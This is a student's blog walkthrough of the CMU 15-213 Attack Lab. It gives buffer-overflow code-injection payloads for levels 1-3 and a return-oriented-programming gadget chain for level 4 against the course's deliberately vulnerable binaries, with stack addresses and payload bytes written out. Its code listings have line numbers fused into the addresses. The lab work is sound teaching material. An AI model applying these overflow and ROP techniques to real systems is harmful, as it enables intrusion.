CMU 15-213 Attack Lab
Attack Lab
It is quite reasonable to put this lab along with bomb lab as they rely on basically the same skill, which is the ability to read and decipher and understand the control flow of the assembly code compiled from c source code.
Funny enough, these two labs are far easier than the first data lab in my opinion. It is such a pain in the ass to play with machine level data representation convention, considering all its corner cases and magic bit level tricks.
Records
Code Injection Attacks
Level 1
This is kinda like a warm-up phase for this lab, requiring an input to manipulate the program towards another function while not calling it from source code.
By looking at the assembly code of function
getbuf:1
2
3
4
5
6
7
8
900000000004017a8 <getbuf>:
4017a8:448 83 ec 28 sub $0x28,%rsp
4017ac:448 89 e7 mov %rsp,%rdi
4017af:4e8 8c 02 00 00 call 401a40 <Gets>
4017b4:4b8 01 00 00 00 mov $0x1,%eax
4017b9:448 83 c4 28 add $0x28,%rsp
4017bd:4c3 ret
4017be:490 nop
4017bf:490 nopWe can see that the function allocates
0x28bytes on the stack as the buffer holding user input.To understand how a buffer-overflow attack happens, we need a graph:
We are required to modify the return address stored at the top of
getbuf‘s stack frame, which is at address0x5561dca0.The saved return address is 40 bytes after the beginning of the buffer. Therefore, the payload nees 40 characters(each takes up 1 byte) of padding followed by the 8-byte address of
touch1.Immediately can we use
hex2rawto generate an ASCII representation of the hexadecimal address of the target functiontouch1, which is0x4017c0. Following 40 characters taking up 40 bytes which fills up the prepared buffer, we can override the return address to where we want the next instruction pointer points to.Keep in mind the on a litte-edian machine, data is stored reversed byte-wise:
1
c0 17 40 00 00 00 00 00 /* 8-byte address reversed byte-wise */
Level 2
Now we need to jump into another function with an parameter. Recall that the positions of the parameters of a function call:
For a standard function call, 6 of its parameters goes into
RDI, RSI, RDX, RCX, R8, R9in order.That means we should put our desired parameter in
%rdibefore jumping, which requires injected instructions.As the instruction pointer stored in
%ripincrements each time it completes an instuction, the injected instructions on stack should be arranged in positive order by address. As a result, the input should consist:1
<placeholder> + <instructions> + <override address>
We want to execute the injected instructions when
getbufreturns, so the 8 bytes at0x5561dca0should be the address of the first injected instruction. And after putting the desired variable into%rdi, we should override the value stored at the address pointed to by%rspto functiontouch2.By looking at the assembly, we can find that the desired
cookieis located at0x6044e4:1
4017fc:43b 3d e2 2c 20 00 cmp 0x202ce2(%rip),%edi # 6044e4 <cookie>
And its value:
1
2(gdb) x/wx 0x6044e4
0x6044e4 <cookie>: 0x59b997faSo the instructions should be:
1
2
3mov $0x59b997fa,%rdi
movl $0x4017ec,(%rsp)
ret[!TIP]
May be we should usepushq? Well,movlworks well this time as the upper 32 bits are filled with 0 at the moment.Each of the
movinstruction takes 7 bytes, and 1 byte forret. That leaves a40 - 15 = 25bytes space remaining in the buffer that needs to be filled up.And the starting address of the injected instructions is
0x5561dca0 - 0xf = 0x5561dc91.[!TIP]
May be we should place the injected instructions at the beginning of the buffer? That way we wouldn’t need to calculate the start address of the instructions.
Level 3
This time we are required to implant a string into the memory in order to pass the
strncmpinhexmatch.Turns out the string required in this phase is cookie in hexadecimal without the prefix ‘0x’,
59b997fa, with a trailing\0.The most tricky thing about this phase is that calling
hexmatchandtouch3would cause the program to push some of the callee-saved registers’ values onto the stack, which may override our injected string as%rspincreases after each return from our injected instructions and move on totouch3.Especially the large local array allocated by
hexmatch:char cbuf[110], which completely annihilate the feasibility to put the string inside thegetbufbuffer as it would be override completely at the moment.We can observe the program’s behavior and record the values of
%rspto see where we can get a memory area untouched to save our injected string:1
2
3
40x5561dc78 ... 0x5561dca0 : buffer / padding
0x5561dca0 : saved return address -> injected code
0x5561dca8 : next return address -> touch3
0x5561dcb0 : random data from upper stack frameThen
touch3andhexmatchwould push registers onto the stack and allocate local array, meaning that we cannot choose any address lower than0x5561dcb0to store our string.Let’s place the string at
0x5561dcb0.
NOTE
- Also noted that
strncmpdoes not compare the integer cookie directly.hexmatchfirst formats the cookie as an eight-character hexadecimal string, and then compares that string pointed to bysval:
1 | int hexmatch(unsigned val, char *sval) { |
We can clearly see that we are required to put a pointer to the injected string into
%rdibefore jumping totouch3, and the actual value that is being compared to that injected string is the value of the cookie:59b997faas a string (\0as terminator ofc) instead of actual value in memory, assprintfwould convert thatvalinto ASCII representation.So there’s no way we can get the ready-made ASCII representation from the memory. We’ll have to inject the string ourselves.
Quite like the previous phase, we still need to override the return address of
getbufto our injected code. Then put the address of the injected string to%rdi, then modify the return address again totouch3, thenret.1
2
3mov $0x5561dcb0,%rdi /* address of the injected string */
movl $0x4018fa,(%rsp)
retThen we’ll override the return address to
0x5561dc91, the same as level 2 as the length of the injected instructions doesn’t change.Moreover we need to gap the space between
0x5561dca8to0x5561dcb0, which is 8 byte long. Just fill in anything in hexadecimal representation.At last the ASCII string. Checking
man ascii:1
235 39 62 39 39 37 66 61 /* injected string */
00 /* \0 */Now we’ve constructed the whole thing, put them together and use
hex2rawto generate the final input.
Return-Oriented Programming
- This time the modern OS’s defenses against code injection are online, including randomizing the stack address and marking the stack as nonexecutable. This makes it impossible for injected instructions to work, we’ll have to find helpful gadgets from the program itself to perform the attack.
Level 4
Though previous injection won’t work this time, the logic of the attack is the same:
- overflow buffer to override return address
- put
0x59b997fainto%rdi - jump to
touch3
We can find useful two gadgets from the farm provided in this new
rtarget:1
2
3
4
5
6
700000000004019a0 <addval_273>:
c:48d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
12:4c3 ret
00000000004019a7 <addval_219>:
13:48d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
19:4c3 retThe first one (addval_273) contains:
1
2
300000000004019a2 <addval_273 + 2>:
48 89 c7 movq %rax,%rdi
c3 retWhile the second contains:
1
2
3
400000000004019ab <addval_219 + 4>
58 popq %rax
90 nop
c3 ret
Now we have a plan: inject the cookie on to the stack, pop it to
%raxthen move it to%rdi, finally jump totouch2.Since the
retat the end of each gadget would increment%rspby 8, there’s no need of jumping to injected instructions.1
2
3
4ab 19 40 00 00 00 00 00 /* 219+4: popq %rax */
fa 97 b9 59 00 00 00 00 /* cookie */
a2 19 40 00 00 00 00 00 /* 273+2: movq %rax,%rdi */
ec 17 40 00 00 00 00 00 /* touch 2 */
Level 5
You know what, I’m scared when the handout says:
That may not seem significantly more difficult than using an ROP attack to invoke touch2, except that we have made it so.
So I’m stopping here.
End
Nice little lab.
Actually I think buffer-overflow attacks are more interesting than ROP, though they do not work these days. It feels kinda boring to find all the gadgets across the program(without a farm) and composing them together.
- Title: CMU 15-213 Attack Lab
- Author: Last
- Created at : 2026-08-31 23:51:43
- Link: https://blog.imlast.top/2026/08/31/cmu15213-attacklab/
- License: This work is licensed under CC BY-NC-SA 4.0.